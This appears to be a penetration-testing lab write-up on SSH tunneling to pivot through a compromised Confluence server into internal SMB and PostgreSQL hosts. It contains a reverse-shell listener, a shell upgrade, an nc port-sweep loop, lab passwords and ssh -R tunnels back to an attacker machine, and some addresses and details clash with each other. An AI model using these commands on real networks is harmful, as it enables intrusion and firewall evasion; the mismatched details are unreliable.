SSH Tunelling
SSH tunneling encapsulates arbitrary network traffic inside an encrypted SSH connection. It’s useful for securely accessing services across restrictive networks or pivoting through compromised systems. Port forwarding with SSH is controlled using options like -L, -R, and -D, depending on the direction of traffic.
Local
Local port forwarding is commonly used when you have SSH access to a pivot machine and want to access a service only it can reach. Unlike tools like socat or chisel, SSH is encrypted by design and blends into normal admin traffic. Expanding the port forward scenario:
We compromised
CONFLUENCE01(192.168.125.63) and have a reverse shell.From there, we can SSH to
PGDATABASE01(10.4.125.215).PGDATABASE01has access to an SMB server onHRSHARES(172.16.185.217:445).
Our goal is to forward TCP port 445 on 172.16.185.217 to TCP port 4455 on CONFLUENCE01, then access it from our Kali machine.
$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123
...
database_admin@pgdatabase01:~$database_admin@pgdatabase01:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
4: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:a1:85 brd ff:ff:ff:ff:ff:ff
inet 10.4.125.215/24 brd 10.4.125.255 scope global ens192
valid_lft forever preferred_lft forever
5: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:ab:53 brd ff:ff:ff:ff:ff:ff
inet 172.16.125.254/24 brd 172.16.125.255 scope global ens224
valid_lft forever preferred_lft forever
database_admin@pgdatabase01:~$ ip route
default via 10.4.125.254 dev ens192 proto static
10.4.125.0/24 dev ens192 proto kernel scope link src 10.4.125.215
172.16.125.0/24 dev ens224 proto kernel scope link src 172.16.125.254We found that PGDATABASE01 is on a 172.16.50.0/24 subnet. Without a port scanner, we used a Bash loop with nc to scan for hosts with port 445 open, discovering 172.16.50.217.
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.185.$i 445; done
<SNIP>
Connection to 172.16.185.217 445 port [tcp/microsoft-ds] succeeded!
<SNIP>Instead of transferring files through multiple hosts (PGDATABASE01 to CONFLUENCE01 to Kali) , we can set up an SSH local port forwarding from CONFLUENCE01 to PGDATABASE01. A local port forward can be set up using OpenSSH's -L option, which takes two sockets in the format IPADDRESS:PORT separated with a colon as an argument:
The first socket is the listening socket that will be bound to the SSH client machine.
The second socket is where we want to forward the packets to.
The rest of the SSH command is as usual - pointed at the SSH server.
The
-Nflag prevents SSH from executing any remote commands, meaning we will only receive output related to our port forward.
# general format
ssh -N -L <localport>:<target-host>:<target-port> <user>@<ssh-server>
# CONF to PGDA tunnel
ssh -N -L 0.0.0.0:4455:172.16.125.217:445 database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123From Kali, we can now list SMB shares.
$ smbclient -p 4455 -L //192.168.125.63/ -U hr_admin --password=Welcome1234
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Scripts Disk
Users Disk
Why Local Port Forwarding?
Service (SMB) isn’t directly reachable from Kali.
Service is reachable by
PGDATABASE01.Tunnel traffic through an SSH session on
CONFLUENCE01→PGDATABASE01→HRSHARES.
Dynamic
Local port forwarding can only connect to one specific destination per SSH connection. With local dynamic port forwarding, instead of connecting to just one destination, it creates a SOCKS proxy server on the SSH client.
A SOCKS proxy works like a mailroom — it takes in network requests, reads where they need to go, and forwards them through the SSH connection to any destination the SSH server can reach. The only requirement is that the software sending the requests must be able to use SOCKS. If it isn’t, extra steps are needed to make it compatible.
In our scenario, instead of connecting directly to port 445 on HRSHARES, we’ll do it through our SSH SOCKS proxy. The problem is that smbclient doesn’t have built-in support for SOCKS proxies. Since SOCKS proxies expect traffic in a specific format, smbclient’s normal traffic won’t work through it. To solve this, we’ll use proxychains — a tool that forces other programs to send their traffic through a proxy. proxychains works well with most dynamically linked programs but not with statically linked ones. To use proxychains:
$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123$ tail -n1 /etc/proxychains.conf
socks5 192.168.125.63 9999$ sudo proxychains smbclient -L //172.16.125.217 -U hr_admin --password=Welcome1234
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 192.168.125.63:9999 ... 172.16.125.217:445 ... OK
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Scripts Disk
Users DiskAlthough we use SOCKS5 here (which supports extra features like authentication and IPv6), SOCKS4 could also work. Always check which version the proxy server supports during engagements.
Why Dynamic Port Forwarding?
Dynamically access any host and port reachable by the SSH server without needing to forward each port individually.
Particularly useful in complex pivot scenarios where multiple services across subnets are in play.
For nmap via proxychains the -sT flag must be used; the default sudo scan (-sS) won't work.
-sS (SYN)
Raw packets (no connect())
❌ Not compatible
-sT (Connect)
Standard TCP connect() calls
✅ Fully compatible
Remote
In earlier examples, we could freely connect to ports on CONFLUENCE01’s network. In real environments, though, firewalls usually block inbound traffic to protect systems. Outbound traffic is typically less restricted, which means it's easier to SSH out of a network than into it. This is where SSH remote port forwarding comes in. It works like a reverse shell for port forwarding.
Local / Dynamic Forwarding
On the SSH client
Into the remote
Remote Forwarding
On the SSH server
Back to your system
Here’s how it works:
We compromise
CONFLUENCE01(192.168.125.63) using CVE-2022-26134.Our goal is to enumerate
PGDATABASE01's (10.4.125.215)5432port.A firewall blocks inbound connections.
The only port we can connect is
8090which forbids us from creating port forwards.However,
CONFLUENCE01has an SSH client and outbound SSH is allowed.We can SSH from
CONFLUENCE01to Kali and use remote port forwarding to tunnel database traffic.

Start an SSH server on Kali.
$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.
$ netstat -ntl | grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::22 Create the remote port forwarding on CONFULENCE01.
$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
...
$ ssh -N -R 127.0.0.1:2345:10.4.125.215:5432 kali@192.168.45.219
...This creates a tunnel where connections to 127.0.0.1:2345 on Kali are forwarded to PostgreSQL on PGDATABASE01 via the SSH connection from CONFLUENCE01.
$ sudo netstat -antp | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN 292/sshd-session: xUse psql on Kali to connect to 127.0.0.1:2345 as if we’re directly connected to the database — bypassing the firewall.
$ psql -h 127.0.0.1 -p 2345 -U postgres
Password for user postgres: # D@t4basePassw0rd!
<SNIP>
postgres=# 
Why Remote Port Forwarding?
Dynamically access internal services from an external pivot point
Bypass inbound firewall rules that block direct connections
Maintain control by reversing the connection direction (outbound from compromised host)
Remote Dynamic
Remote Dynamic Port Forwarding has only been available since OpenSSH 7.6 (October 2017). The good news? Only the OpenSSH client needs to be v7.6+ — the server version doesn’t matter. In our scenario:
We have
CONFLUENCE01(192.168.125.63) but we can only talk to it on one port (8090).We want to scan other machines on the internal network (like
MULTISERVER03(192.168.125.64)), but the firewall won’t let our Kali machine directly access them.From
CONFLUENCE01, we SSH outward to our Kali machine.We create a SOCKS proxy on our Kali machine that listens on a port (let's say
9998).Any traffic sent to this SOCKS proxy, will fly back through the SSH tunnel to
CONFLUENCE01. ThenCONFLUENCE01will forward it to the final destination inside its network.
Start an SSH server on Kali.
$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.
$ netstat -ntl | grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::22 sadasd
$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh -N -R 9998 x7331@192.168.45.235$ tail -n1 /etc/proxychains4.conf
socks5 127.0.0.1 9998This creates a tunnel where connections to 127.0.0.1:9998 on Kali are forwarded to whichever destination we define on our command via the SSH connection from CONFLUENCE01.
$ sudo netstat -antl | grep 9998
[sudo] password for x7331:
tcp 0 0 127.0.0.1:9998 0.0.0.0:* LISTEN
tcp6 0 0 ::1:9998 :::* LISTENUse psql on Kali to connect to 127.0.0.1:2345 as if we’re directly connected to the database — bypassing the firewall and nmap to scan MULTISERVER03.
$ sudo proxychains psql -h 10.4.125.215 -p 5432 -U postgres
...
postgres=#
$ sudo proxychains nmap -p9050-9100 -Pn -sT 10.4.125.64
...Both remote port forwarding and remote dynamic port forwarding use the SSH -R option; the difference lies in the arguments supplied to -R:
Classic Remote Port Forwarding
ssh -R [remote_port]:[dest_ip]:[dest_port] user@remote_host
Tunnel to a fixed destination
Remote Dynamic Port Forwarding
ssh -R [remote_port] user@remote_host
Create a SOCKS proxy for dynamic routing
For the remote port forwarding command, if only a port number is provided (e.g.,
-R 9998), SSH binds the port to the loopback interface (127.0.0.1) of the SSH server by default.

If needed to terminate a service.
$ sudo netstat -lntp | grep 9998
tcp 0 0 127.0.0.1:9998 0.0.0.0:* LISTEN 325/sshd-session: x
tcp6 0 0 ::1:9998 :::* LISTEN 325/sshd-session: x
$ sudo lsof -i :9998
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd-sess 325 x7331 6u IPv6 964 0t0 TCP ip6-localhost:9998 (LISTEN)
sshd-sess 325 x7331 8u IPv4 965 0t0 TCP localhost:9998 (LISTEN)
$ sudo kill 325Last updated
Was this helpful?